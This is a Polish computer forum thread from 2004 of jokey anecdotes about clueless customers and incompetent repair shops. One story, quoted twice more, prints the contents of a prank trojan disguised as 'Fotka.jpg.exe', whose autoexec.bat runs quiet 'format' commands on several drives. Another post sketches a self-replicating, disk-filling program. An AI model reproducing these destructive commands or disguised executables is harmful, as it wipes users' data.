Sewer Opublikowano 29 Lipca 2004 Zgłoś Opublikowano 29 Lipca 2004 Do mnie do sklepu jakis czas temu zadzwonila oburzona bardzo pani z pretensja ze sprzedajemy szajs i oszukujemy ludzi.Pytam o co chodzi - wyszlo ze kupila Koala DVD player ( 19 pln). Rozmowa: K(klientka)- Oszukujecie ludzi , na pudelku jest napisane - kup i ogladaj filmy dvd a u mnie nie dziala J(ja) - ale co nie dziala , jak nie dziala ?? K-- no nie moge ogladac filmow J-- jaki ma Pani komputer , windows itd itp.. K- no nowy komputer z miesiac temu kupiony.. J-- a jaki czytnik dvd ? K-- co?? jaki czytnik ?/ J-- no do plyt DVD zeby ogladac K-- a po co skoro program ma byc do tego w tym momencie juz sikalem prawie ze smiechu , najlepszy byl ton tej pani.Strasznie byla zła i wogole prawie bluzgami rzucala a ja ledwo powstrzymywalem sie by nie parsknac ze smiechu do sluchawki :) Cytuj Udostępnij tę odpowiedź Odnośnik do odpowiedzi Udostępnij na innych stronach Więcej opcji udostępniania...
Sid Opublikowano 29 Lipca 2004 Zgłoś Opublikowano 29 Lipca 2004 Hmmm skoro już tyle topiców było to niech ten zostanie na stałe jako INFORLAMETYKOWYM topiciem śmiechu... Muszę się przyznać że jak kupiłem kompa to byłem totalnie zielony, no może nie totalnie, bo obsługiwać Windowsa umiałem bardzo dobrze(+sztuczki w rejestrze itp.). Ale miałem wirusa raz(nawet dwa - ale tu 1szy raz sie liczy) Win95.CIH :D I jak próbowałem Office'a instalować to msiexec wywalał się :) No to gnam do znajomego "informatyka" :) A on mówi że to może być wirus etc, itp.(bo jaki mozna inny powod podac przyw win98) i że trzeba reinstall zrobić(a może łatwiej by było antywirusem przejechać? :D) I że w serwisie to kosztuje 45zł(czy jakos tak) a on to zrobi za 20(to się nazywa zarobek:D). Ja że reinstalacji nie umiałem zrobić zgodziłem się... Przyszedł, pokombinował... Zainstalował i: dźwięku nie było. Przecież to normalne że trzebabyło VIA Service Packa(tak to się dawniej nazywało - bo teraz VIA Hyperion). I napisał "diagnozę" na kartce i żeby mój tata jechał tam gdzie kompa kupiłem (FF Computers Sosnowiec - sklepu już nie ma a goście ze sklepu chyba odsiadują :D Jak chcecie moge napisać czemu...). Mój tata musiał jechać do Sosnowca (ok 30-40km) żeby przywieźć karteczke ze najpierw trzeba service packa zainstalować - normalnie ROTFL! A to wtedy były czasy świetności - teraz jak to wspominam to tak polewam... Albo w/w inforlameatyk twierdził że miał wirusa "na płycie głównej" i uratował kompa wkładając mobo to zamrażarki... A chcecie najlepszą chyba historię pt.: "Pomóż mi zniszczyć kolegi kompa" ?? Tam dopiero wałek jest :lol: Cytuj Udostępnij tę odpowiedź Odnośnik do odpowiedzi Udostępnij na innych stronach Więcej opcji udostępniania...
Proximo Opublikowano 29 Lipca 2004 Zgłoś Opublikowano 29 Lipca 2004 ahhahaah Albo w/w inforlameatyk twierdził że miał wirusa "na płycie głównej" i uratował kompa wkładając mobo to zamrażarki... :lol: :lol: :lol: to juz trzeba byc betonem zeby takie bzdury gadac/robic? :roll: :lol: Cytuj Udostępnij tę odpowiedź Odnośnik do odpowiedzi Udostępnij na innych stronach Więcej opcji udostępniania...
KrzychuG Opublikowano 29 Lipca 2004 Zgłoś Opublikowano 29 Lipca 2004 polozylem sie na kanapie i lezalem ze smiechu a ten sie darl i sie wqrial ze wydal 300zl i musi wydac conajmneij 100zl na karte..... Zawsze moze kupic minta za 30zl, 5.1 bedzie mial, a jakosc dzwieku, no coz ;) Cytuj Udostępnij tę odpowiedź Odnośnik do odpowiedzi Udostępnij na innych stronach Więcej opcji udostępniania...
Sid Opublikowano 29 Lipca 2004 Zgłoś Opublikowano 29 Lipca 2004 ahhahaah Albo w/w inforlameatyk twierdził że miał wirusa "na płycie głównej" i uratował kompa wkładając mobo to zamrażarki... :lol: :lol: :lol: to juz trzeba byc betonem zeby takie bzdury gadac/robic? :roll: :lol: Tutaj chyba tylko było tak gadane, albo jak powrzechnie wiadomo inforlameatyk(nie powiem czy to ten sam :P Zyjcie w niepewności) jest hakierem... I raz kumpla napuściłem na niego... Pożalił mu sie że jego starszy kolega jest hackerem i coś mu tam zrobił - dokucza/shaczył czy coś w tym stylu. Usłyszał mniej więcej taką odpowiedź: "Daj mi jego adres email, wyśle mu takie coś że jak uruchomi rozpieprzy mu kompa" :lol: Potem sprawdzamy maila a tam coś w tym stylu: From: xxx@xxx.plTo: xxx@xxx.plSubject: Moja fotka!Chcesz zobaczyć moją fotkę - poptrz tylko.Załączniki: Fotka.jpg.exeZasysam "fotke" - ikona archiwum SFX(RAR'owego :D) wypakowałem to(nie korzystając z sfxa :) ) A tam kilka plikow: autoexec.bat, format.com (i chyba tyle). Lookam do skrypta SFXa a tam polecenie skopiowania tego do C: :D LOOOOOOOOOOOL pomyślałem... (WinXP ładuje autoexeca wogole - bo nie wiem nawet :D ??) dobra - lookam do autoexec, a tam jak zwykle "coś w stylu": format c: /q |yformat d: /q |yformat e: /q |yecho hehe - po twoim kompie!Ciekawe skąd wiedział że ofiara ma 3 partycje? :D a ja np. mam 5 :D az by się chciało dopisać do tego autoexeca: format c: /q |yformat d: /q |yformat e: /q |yecho VIRUS>>hehe - po twoim kompie!echo KOMP>>a [3 słowa do księdza prowadzącego] - mam jeszcze 2 dyski lamusie :P Cytuj Udostępnij tę odpowiedź Odnośnik do odpowiedzi Udostępnij na innych stronach Więcej opcji udostępniania...
azyl Opublikowano 29 Lipca 2004 Zgłoś Opublikowano 29 Lipca 2004 jak dla mnie to dysk i tajwanscy neiwolnicy 1 miejsce :) sam mialem jedna potyczke z gosciem ktory twierdzil ze nei ma roznicy w zasilaczach a "chieftec" to tylko wymysl glopich gazet komputerowych :lol: Cytuj Udostępnij tę odpowiedź Odnośnik do odpowiedzi Udostępnij na innych stronach Więcej opcji udostępniania...
Yeti Opublikowano 29 Lipca 2004 Zgłoś Opublikowano 29 Lipca 2004 IMO rzadzi: przypadek, karaluchy, niewolnicy i zakonczenie rozmowy o kwiaciarni :] Jutro postaram sie zarzucic historyjke od kumpla ;) Cytuj Udostępnij tę odpowiedź Odnośnik do odpowiedzi Udostępnij na innych stronach Więcej opcji udostępniania...
Jin* Opublikowano 30 Lipca 2004 Zgłoś Opublikowano 30 Lipca 2004 Mi sie zabardzo w te karaluchy wierzyc nie chce. Jakas sciemucha chyba to jest :wink: Cytuj Udostępnij tę odpowiedź Odnośnik do odpowiedzi Udostępnij na innych stronach Więcej opcji udostępniania...
Hanu Opublikowano 30 Lipca 2004 Zgłoś Opublikowano 30 Lipca 2004 sam mialem jedna potyczke z gosciem ktory twierdzil ze nei ma roznicy w zasilaczach a "chieftec" to tylko wymysl glopich gazet komputerowych :lol: Jakbym słyszał mojego "przemądrego" wujka elektronika :lol: Cytuj Udostępnij tę odpowiedź Odnośnik do odpowiedzi Udostępnij na innych stronach Więcej opcji udostępniania...
Galago De Codi Opublikowano 5 Sierpnia 2004 Zgłoś Opublikowano 5 Sierpnia 2004 No to teraz sie trzymajcie.. Wlasnie gadalem z kumplem ktory pracuje w zaprzyjaznionej firmie na serwisach.. Oni robią mniejsze banki których nie stac na całoetatowego informatyka... Wiecie dlaczego w jednym banku trzeba było kupic nowa kośc rmu a starej nie dalo sie oddac na gwarancji?? MYSZY ją pogryzły!!!!!!!!! Juz nie wiem czy to ma byc smieszne... :) Cytuj Udostępnij tę odpowiedź Odnośnik do odpowiedzi Udostępnij na innych stronach Więcej opcji udostępniania...
burro Opublikowano 5 Sierpnia 2004 Zgłoś Opublikowano 5 Sierpnia 2004 widocznie myszki lubia ram... w slyszalem ze wrecz przepadaja za ddr500mhz :]] Cytuj Udostępnij tę odpowiedź Odnośnik do odpowiedzi Udostępnij na innych stronach Więcej opcji udostępniania...
mechl!k Opublikowano 5 Sierpnia 2004 Zgłoś Opublikowano 5 Sierpnia 2004 A o których myszach mówicie? :D ;) :D Cytuj Udostępnij tę odpowiedź Odnośnik do odpowiedzi Udostępnij na innych stronach Więcej opcji udostępniania...
Gość Opublikowano 5 Sierpnia 2004 Zgłoś Opublikowano 5 Sierpnia 2004 Optycznych :D Cytuj Udostępnij tę odpowiedź Odnośnik do odpowiedzi Udostępnij na innych stronach Więcej opcji udostępniania...
forest kila zbila Opublikowano 7 Sierpnia 2004 Zgłoś Opublikowano 7 Sierpnia 2004 hmmm wielu bojów zza lady ;-) przytoczę jeden... koleś chciał mieć xp pro pl na k7som z 128dd z czego jeszcz kilka dla grafiki ;-) widzieliście kiedys zeby windows skakał ? wlasnie wtedy widzialem,, naciskam start po czym widze slajdszoł animacji.... :-] nie zeby przy ladowaniu! za kazdym razem :-) najsmieszniejsze boje byly jednak z komutrinikem kiedys pisalem o tym w topiku o niesolidnych firmach, moze jeszcze napisze ;-) Cytuj Udostępnij tę odpowiedź Odnośnik do odpowiedzi Udostępnij na innych stronach Więcej opcji udostępniania...
Gość PL4Y3R-PL Opublikowano 7 Sierpnia 2004 Zgłoś Opublikowano 7 Sierpnia 2004 o cholera jak to przeczytalem to sie poplakalem ze smiechu "K: przepraszam pana, czy to prawda ze te komputery sa skladane przez tajwańskich niewolników ? J: lol" kiedys wchodze do sklepu komp a tam jakas stara babcia z mezem ktory na kolanach trzymal notebooka hp a baba darla morde ze odwirusowywanie powino byc na gwarancji:) i cos tam ze ona za to nie bedzie placila lol wkoncu po paru min zgodzila sie zaplacic 50 zl za deratyzacje.... albo polazlem na gielde komp i pytam sie o radka 9550 a oni mowie ze czegos takiego niema o_o albo typki chodzily do kolesi na sam koniec gieldy komp kupowali odnich wiatraki papsta za 5 zl i sprzedawali na calej gieldzie po 25:) to sie nazywa interes:) Cytuj Udostępnij tę odpowiedź Odnośnik do odpowiedzi Udostępnij na innych stronach Więcej opcji udostępniania...
Shantillas Opublikowano 7 Sierpnia 2004 Zgłoś Opublikowano 7 Sierpnia 2004 hehe ja niebawem wybieram sie do jednego sklepu bo juz szkoda mi kumpla, ktory ma ewidentnie uszkodzona kosc RAMU 256mb ddr 333 (noname), na XP sa ciagle resety, me i 98 smigaja jako tako ale tez co chwila sa bluescreeny. wiem ze kosc uszkodzona bo juz sprawdzalm u sibie itp. Kumpel pojechal do tego sklepu powiedzil ze pamiec jest uszkodzona ale jak to bywa serwisant olal to i na drugi dzien kazali odebrac kompa.... kumpel mowil ze gosciu udawal cwaniaczka i jeszcze gadal mowi "panie, ktos grzebal w systemie i pousuwal pliki...." wiec zainstalowalismy me i juz jest Ok..." :lol: goscui mnie jeszce tym bardziej rozbawil bo powiedzial ze systemy XP, 2000 itp sa najgorsze i ze slabo moga chodza na tym kompie.... (duron 1,8ghz, wd 80gb 8mb kesch, radeon 9600 128mb) he juz niemoge sie doczekac konfrontacji z ta "jakze fachowa obsluga i ajk zgoniote goscia.." Cytuj Udostępnij tę odpowiedź Odnośnik do odpowiedzi Udostępnij na innych stronach Więcej opcji udostępniania...
Yeti Opublikowano 9 Sierpnia 2004 Zgłoś Opublikowano 9 Sierpnia 2004 -> PL4Y3R-PL : Gdzie tak tanio mozna dostac papsty ? za 5 !? Przypomniała mi sie historyjka: Kiedys na osiedlu był taki sklep - własciciel lama jak nieiwme, do tego wały wciska. Podzlismy do niego kiedys i pytamy o GF3 (2 tyg przed premiera) a on z tekstem ze mu poszływszystkie ze 2 dni temu, jak swierze bułeczki :D Potem przeniusł sklep blizej centrum i było z nim jeszcze 1 zdarzenie. -Chciałem kupic myszke A4Tech Swop-3 (optical z bardzo ładna obudowa, w róznych kolorach) patrze na pudełki ( w srodku czerwona) a z tyłu zdjecie niebieskiej.Pytam wiec:Przepraszam sa takie niebieskie? S:A moze jeszcze w kratke bys chciał JA: A poprosze skoro sa (;)) S: To dawaj 150 łapie z spray i ci zaraz zrobie... O_O Cytuj Udostępnij tę odpowiedź Odnośnik do odpowiedzi Udostępnij na innych stronach Więcej opcji udostępniania...
Galago De Codi Opublikowano 9 Sierpnia 2004 Zgłoś Opublikowano 9 Sierpnia 2004 LOL.. ale z tymi myszkami to jest problem.. ja tez nie mam wglądu w kolorystyke i przez to zawsze wiecej trzymam.. Jak ktos zamówił czerwoną - przyszła niebieska.. Zamówiłem niebieską - przyczła czerwona.. a na koniec biała ...lol wiecie ze w poslce najczęsciej w obudowy i myszki - sklepy nie maja wglądu... to jest takie wnerwiające.. (oczywiscie mówimy o tych tanich stuffach) Cytuj Udostępnij tę odpowiedź Odnośnik do odpowiedzi Udostępnij na innych stronach Więcej opcji udostępniania...
Dyferencjal Opublikowano 9 Sierpnia 2004 Zgłoś Opublikowano 9 Sierpnia 2004 Kiedyś kolega mi opowiadał jak siedzi w sklepie komputerowym. I słyszy rozmowę klienta(K) ze sprzedawcą(S): K: Dobrze, to jeszcze bym chciał jakiś pożądny zasilacz do tego Barthona. S: Tak, oczywiście. Mamy tu dla pana idealny zasilacz Codegen 300W. Jescze nikt się nie skarżył. :roll: Pozdrowienia dla sprzedawcy :lol: 8) Cytuj Udostępnij tę odpowiedź Odnośnik do odpowiedzi Udostępnij na innych stronach Więcej opcji udostępniania...
mar_cin Opublikowano 11 Sierpnia 2004 Zgłoś Opublikowano 11 Sierpnia 2004 apropo wątku o zasilaczach to az nie moge sie powstrzymac , w lodzi na retkini istnieje sobie kafeja (w sumie to panowie sa na tyle wszechstronni ze i "skladaja" komputerki i sprzedaja )nieopodal statoila (moze ktos sie bedzie orientowal:)) ) otoz ja po tym jak moj "kochany" codegen "300"W wyparowal (na szczescie sprzet zostawil - nie zabral ze soba:p) postanowilem sie wybrac po nowy sprzecik ... to tez sobie mysle zakupie cos za 100-150zl bedzie dobsh .. wchodze do ow sklepu-kafeji akurat ktos postanowil "remoncik" zrobic i jakies biurka cieli no ale to niewazne i pytam sie "dziendobry , otwarte?" na to otrzymalem odpowiedz ze "zamkniete" itd ale pytaja "w czym mozemy pomoc" totez wyjasniam swoj problem ze potrzebuje zasilki atx`owej jakiejs znosnej otrzymalem odpowiedz "niestety wszystkie wyszly" to zegnam sie ladnie - ale slysze za soba krzyk "MAMY ! prosze niech pan spojzy " odrazu pytanie "codegen?" "nie nie " na nalepce widze nazwe firmy w stylu Kormoran i 235W ja w smiech "pytalem o zasilacz" otrzymalem odpowiedz "dobry jest , ostatnio sprawdzalem komputer na nim" coz... :) a i jeszcze jedna sytuacja mi sie przypomniala. siedze u "klientki" w domu bo akurat modemik byl do zalozenia (tutaj nie bedzie juz kryptoreklamy - znanej w lodzi kablowy;p) no i zalogowal sie elegancko, wszystko cacy uruchamiam komputer Win xp hołm edyszyn, sie z trudem odpalil - pozniej boje z haslem ale w koncu zlapalem za mysz a coz to .. nie rusza sie :) otrzymalem wyczerpujaca odpowiedz "ze w tym komputerze jest wirus ! " po 20 minutach udalo mi sie namowic ow pania by udala sie do sklepu po nową mysz. (kabelek mial dosc ;p) i nagle wirusa nie bylo :D Cytuj Udostępnij tę odpowiedź Odnośnik do odpowiedzi Udostępnij na innych stronach Więcej opcji udostępniania...
Neo_x Opublikowano 11 Sierpnia 2004 Zgłoś Opublikowano 11 Sierpnia 2004 ahhahaah Albo w/w inforlameatyk twierdził że miał wirusa "na płycie głównej" i uratował kompa wkładając mobo to zamrażarki... :lol: :lol: :lol: to juz trzeba byc betonem zeby takie bzdury gadac/robic? :roll: :lol: Tutaj chyba tylko było tak gadane, albo jak powrzechnie wiadomo inforlameatyk(nie powiem czy to ten sam :P Zyjcie w niepewności) jest hakierem... I raz kumpla napuściłem na niego... Pożalił mu sie że jego starszy kolega jest hackerem i coś mu tam zrobił - dokucza/shaczył czy coś w tym stylu. Usłyszał mniej więcej taką odpowiedź: "Daj mi jego adres email, wyśle mu takie coś że jak uruchomi rozpieprzy mu kompa" :lol: Potem sprawdzamy maila a tam coś w tym stylu: From: xxx@xxx.plTo: xxx@xxx.plSubject: Moja fotka!Chcesz zobaczyć moją fotkę - poptrz tylko.Załączniki: Fotka.jpg.exeZasysam "fotke" - ikona archiwum SFX(RAR'owego :D) wypakowałem to(nie korzystając z sfxa :) ) A tam kilka plikow: autoexec.bat, format.com (i chyba tyle). Lookam do skrypta SFXa a tam polecenie skopiowania tego do C: :D LOOOOOOOOOOOL pomyślałem... (WinXP ładuje autoexeca wogole - bo nie wiem nawet :D ??) dobra - lookam do autoexec, a tam jak zwykle "coś w stylu": format c: /q |yformat d: /q |yformat e: /q |yecho hehe - po twoim kompie!Ciekawe skąd wiedział że ofiara ma 3 partycje? :D a ja np. mam 5 :D az by się chciało dopisać do tego autoexeca: format c: /q |yformat d: /q |yformat e: /q |yecho VIRUS>>hehe - po twoim kompie!echo KOMP>>a [3 słowa do księdza prowadzącego] - mam jeszcze 2 dyski lamusie :P ja wymiekam :lol: brak mi slow :lol: Cytuj Udostępnij tę odpowiedź Odnośnik do odpowiedzi Udostępnij na innych stronach Więcej opcji udostępniania...
tayler Opublikowano 12 Sierpnia 2004 Zgłoś Opublikowano 12 Sierpnia 2004 ahhahaah Albo w/w inforlameatyk twierdził że miał wirusa "na płycie głównej" i uratował kompa wkładając mobo to zamrażarki... :lol: :lol: :lol: to juz trzeba byc betonem zeby takie bzdury gadac/robic? :roll: :lol: Tutaj chyba tylko było tak gadane, albo jak powrzechnie wiadomo inforlameatyk(nie powiem czy to ten sam :P Zyjcie w niepewności) jest hakierem... I raz kumpla napuściłem na niego... Pożalił mu sie że jego starszy kolega jest hackerem i coś mu tam zrobił - dokucza/shaczył czy coś w tym stylu. Usłyszał mniej więcej taką odpowiedź: "Daj mi jego adres email, wyśle mu takie coś że jak uruchomi rozpieprzy mu kompa" :lol: Potem sprawdzamy maila a tam coś w tym stylu: From: xxx@xxx.plTo: xxx@xxx.plSubject: Moja fotka!Chcesz zobaczyć moją fotkę - poptrz tylko.Załączniki: Fotka.jpg.exeZasysam "fotke" - ikona archiwum SFX(RAR'owego :D) wypakowałem to(nie korzystając z sfxa :) ) A tam kilka plikow: autoexec.bat, format.com (i chyba tyle). Lookam do skrypta SFXa a tam polecenie skopiowania tego do C: :D LOOOOOOOOOOOL pomyślałem... (WinXP ładuje autoexeca wogole - bo nie wiem nawet :D ??) dobra - lookam do autoexec, a tam jak zwykle "coś w stylu": format c: /q |yformat d: /q |yformat e: /q |yecho hehe - po twoim kompie!Ciekawe skąd wiedział że ofiara ma 3 partycje? :D a ja np. mam 5 :D az by się chciało dopisać do tego autoexeca: format c: /q |yformat d: /q |yformat e: /q |yecho VIRUS>>hehe - po twoim kompie!echo KOMP>>a [3 słowa do księdza prowadzącego] - mam jeszcze 2 dyski lamusie :P ja wymiekam :lol: brak mi slow :lol: tez znam przypadki hackerow co dosem chca cie zalatwic :wink: ; kiedys na osiedlu chodzila plotka ze ten i ten umie pisac wirusy , no to wszyscy full respect a pozniej sie okazalo ze to oczywiscie byly pliki batowe i tylko uzywali komend : del /rd :lol: Cytuj Udostępnij tę odpowiedź Odnośnik do odpowiedzi Udostępnij na innych stronach Więcej opcji udostępniania...
Gość Opublikowano 12 Sierpnia 2004 Zgłoś Opublikowano 12 Sierpnia 2004 ale wirus latwo napisac :P no seryjnie z 20lini w paskalu wyjdzie :P bo zeby cos nazwac wirusem wystarczy zeby sie mnozyo to robisz procedurke kopiujaca plki zrudlowy i zamykasz to w jakiej nieskonczonej pentli :P mozna zrobic zeby sie dodal do rejestru i po kazdym starcie systemu zawalal dysk :P Cytuj Udostępnij tę odpowiedź Odnośnik do odpowiedzi Udostępnij na innych stronach Więcej opcji udostępniania...
Ruido Opublikowano 12 Sierpnia 2004 Zgłoś Opublikowano 12 Sierpnia 2004 offtopic: kocham jak ludzie cytuja 10 poprzednich postow i dodaja od siebie jedna linijke, regulamin Panowie sie klania Cytuj Udostępnij tę odpowiedź Odnośnik do odpowiedzi Udostępnij na innych stronach Więcej opcji udostępniania...
BLANTMEN Opublikowano 12 Sierpnia 2004 Zgłoś Opublikowano 12 Sierpnia 2004 To niestety tak naprawdę wcale nie jest smieszne. Ja się autentycznie boję gdy widze klienta który idzie w kierunku mojego sklepu ze sprzetem. Co innego jakby sie oni nie znali i byli mili. ALe sami widzicie z dialogów.. Co drógie słowo to K**** i inne bluzgi na DZIEŃDOBRY.. Ja spędziłem większosc zycia przed kompem i nienauczony jestem jak sie obchodzi z takimi roszczeniowymi ludzmi. Bardzo mnie boli jak jakiś za przeproszeniem cymbał który sie naczytał "OK komputer" przyłazi i podwaza moje kompetencje bo on przeczytał najnowsze wydanie tej gazetki a ja nie :? Osobiscie jestem za wprowadzeniem prawa jazdy na kompa dla klientów - lub dodatkowych dopłat za prace w szkodliwych warunkach dla serwisu .. bo ludzie to coraz wieksze bydło. Ja mam tak samo :( Też większość ludzi jest wulgarna itp. i nie da się im nic wytłumaczyć na spokojnie :( Ale żeby nie robić OT zapodam co stało się niedawno u mnie na serwisie :lol: ------------------ Dzwoni telefon: Klient - Dzieńdobry, dzwonię z adresu Felińskiego xx/xx Ja - Dzieńdobry, słucham. K - Właśnie instalowałem system, i mam pytanie ... Ja - Tak ? K - Jaką ja mam nazwe komputera ??? Ja - (o mało nie spadłem z krzesła) yyy no jaką sobie pan wymyśli. K - Czyli obojętnie, tak ? Ja - No tak, nazwa komputera jest własna. K - Aha .... To dziękuję. ------------------ chciałem mu podać jakąś dziwną nazwę, ale potem jeszcze by się obraził :lol: Cytuj Udostępnij tę odpowiedź Odnośnik do odpowiedzi Udostępnij na innych stronach Więcej opcji udostępniania...
durczyn Opublikowano 12 Sierpnia 2004 Zgłoś Opublikowano 12 Sierpnia 2004 U mnie w domu jest zawsze tak że jak coś się zepsuje lub stanie z kompem to mam siędo niego niedotykać, wzywany jest informatyk..<i tak łąmie te zasady><z narażeniem życia> informatyk dostał 2 szanse i servisant jedną i się niewykazali.... *<servisant> oddałem toner z laserowej drukarki do napełnienia, po 2 tygodniach oczekiwania na odpowiedz powiedziano mi że ta drukarka to hyper nowy model i jeszcze nie ma tuszy uzupełniających do niej. Zdziwiłem siębo owa drukarka ma 2 i pół roku, no trudno, rodzice zafundowali mi nowy toner za 300zł i na jego założenie w servisie czekałem prawie 2 miesiące, w sierpniu teraz dostałem z powrotem :P *<informatyk> pewnego razu w te wakacje była duża burza u mnie na wsi podczas mojej nieobecności w domu. Trzasną piorun i komp ponoć się wyłączył. Wpada informatyk i siedzi 3 godziny i duma...<wiem od siostry>, okazało sięże kompowi nic nie jest i wsjo działa ko ma 1 virusa ,,blastera" i neo sięniełączy, no to no problem, ale gość chciał zainstalować program jakiś antyvirusowy z górnej półki ale przez telefon wykluczyłem ta opcje bo wiedziałem w czym problem. NO więc dowiedziałem sięjeszcze że mam straszny burdel w kompie i na dysku, straszny śmietnik itp itd, dziwne pomyślałem, dysk przed moim wyjazdem był po świerzutkim formacie, w dodatku nowy dysk, prawie że goły był, tylko z windowsem...... *<informatyk> komputer mojej siostry, który przejeła odemnie, ładnie utrzymany z winXP i bez śmietnika spoko działający, zabrał informatyk żeby ładnie skonfigurować.... ko tam hdd nie był przykręcony i jak zobaczyłem gdy informatyk wrzucił do swego poloneza ten komp to myślałem że serce mi wyskoczy..., potem do mnie zadzwonił i powiedział że kom niedziała i zwalił to na mnie, mimo iż upszedzałem.. Siostrze wgrał win2000, nortona, i wiele naprawde zbędmych programów.....i jej kom chodzi około 4x wolniej niż jak ja go miałem, teraz jej uruchamia się około 13minut.... *dodatkowo ten sam informatyk zakładał u nas sieć w domu i jeszcze bardziej zwolnił kompy i neta....., potem po tamtym formcie przed wyjazdem, kumpel założył mi sieć z windowsa, w dodatku odrazu wsjo siępolepszyło i nad wszystkim jest kontrola...:P ****MORAŁ**** - goście po technologi informacyjnej, bądż informatyce, mniej umieją od tych co na własnych błędach się uczą, zawsze tak chyba było, doświadczam tego na różnych przedmiotach, za dużo by mówić, np z rowerem i innymi........ Cytuj Udostępnij tę odpowiedź Odnośnik do odpowiedzi Udostępnij na innych stronach Więcej opcji udostępniania...
KrzychuG Opublikowano 13 Sierpnia 2004 Zgłoś Opublikowano 13 Sierpnia 2004 Teoria nie zawsze idzie w parze z praktyka, tak jest wszedzie ;) Cytuj Udostępnij tę odpowiedź Odnośnik do odpowiedzi Udostępnij na innych stronach Więcej opcji udostępniania...
Duszek87 Opublikowano 13 Sierpnia 2004 Zgłoś Opublikowano 13 Sierpnia 2004 apropo wątku o zasilaczach to az nie moge sie powstrzymac , w lodzi na retkini istnieje sobie kafeja (w sumie to panowie sa na tyle wszechstronni ze i "skladaja" komputerki i sprzedaja )nieopodal statoila (moze ktos sie bedzie orientowal:)) ) otoz ja po tym jak moj "kochany" codegen "300"W wyparowal (na szczescie sprzet zostawil - nie zabral ze soba:p) postanowilem sie wybrac po nowy sprzecik ... to tez sobie mysle zakupie cos za 100-150zl bedzie dobsh .. wchodze do ow sklepu-kafeji akurat ktos postanowil "remoncik" zrobic i jakies biurka cieli no ale to niewazne i pytam sie "dziendobry , otwarte?" na to otrzymalem odpowiedz ze "zamkniete" itd ale pytaja "w czym mozemy pomoc" totez wyjasniam swoj problem ze potrzebuje zasilki atx`owej jakiejs znosnej otrzymalem odpowiedz "niestety wszystkie wyszly" to zegnam sie ladnie - ale slysze za soba krzyk "MAMY ! prosze niech pan spojzy " odrazu pytanie "codegen?" "nie nie " na nalepce widze nazwe firmy w stylu Kormoran i 235W ja w smiech "pytalem o zasilacz" otrzymalem odpowiedz "dobry jest , ostatnio sprawdzalem komputer na nim" coz... :) Chyba wiem o ktorej kafei mówisz ale zapomniałem nazwy :) Jej kierownik jest poprostu LOLEM :D Kumpel który go zna mówił mi że kiedys postawił jakis serwer cs'a w kafei i sie dziwił że nikt nie gra :D (postawił na LANie bo nie pytało o cdkey a myslał że to samo co internet) :D:D:D Cytuj Udostępnij tę odpowiedź Odnośnik do odpowiedzi Udostępnij na innych stronach Więcej opcji udostępniania...
Gość PL4Y3R-PL Opublikowano 13 Sierpnia 2004 Zgłoś Opublikowano 13 Sierpnia 2004 -> PL4Y3R-PL : Gdzie tak tanio mozna dostac papsty ? za 5 !? Przypomniała mi sie historyjka: Kiedys na osiedlu był taki sklep - własciciel lama jak nieiwme, do tego wały wciska. Podzlismy do niego kiedys i pytamy o GF3 (2 tyg przed premiera) a on z tekstem ze mu poszływszystkie ze 2 dni temu, jak swierze bułeczki :D Potem przeniusł sklep blizej centrum i było z nim jeszcze 1 zdarzenie. -Chciałem kupic myszke A4Tech Swop-3 (optical z bardzo ładna obudowa, w róznych kolorach) patrze na pudełki ( w srodku czerwona) a z tyłu zdjecie niebieskiej.Pytam wiec:Przepraszam sa takie niebieskie? S:A moze jeszcze w kratke bys chciał JA: A poprosze skoro sa (;)) S: To dawaj 150 łapie z spray i ci zaraz zrobie... O_O na gieldzie w wawie:) Cytuj Udostępnij tę odpowiedź Odnośnik do odpowiedzi Udostępnij na innych stronach Więcej opcji udostępniania...
Yeti Opublikowano 14 Sierpnia 2004 Zgłoś Opublikowano 14 Sierpnia 2004 Ale ja pytałem o dokladniejsze namiary -"koniec" to zalezy z której strony sie patrzy :D I serio sa to firmowe Papsty czy podróbki ? Cytuj Udostępnij tę odpowiedź Odnośnik do odpowiedzi Udostępnij na innych stronach Więcej opcji udostępniania...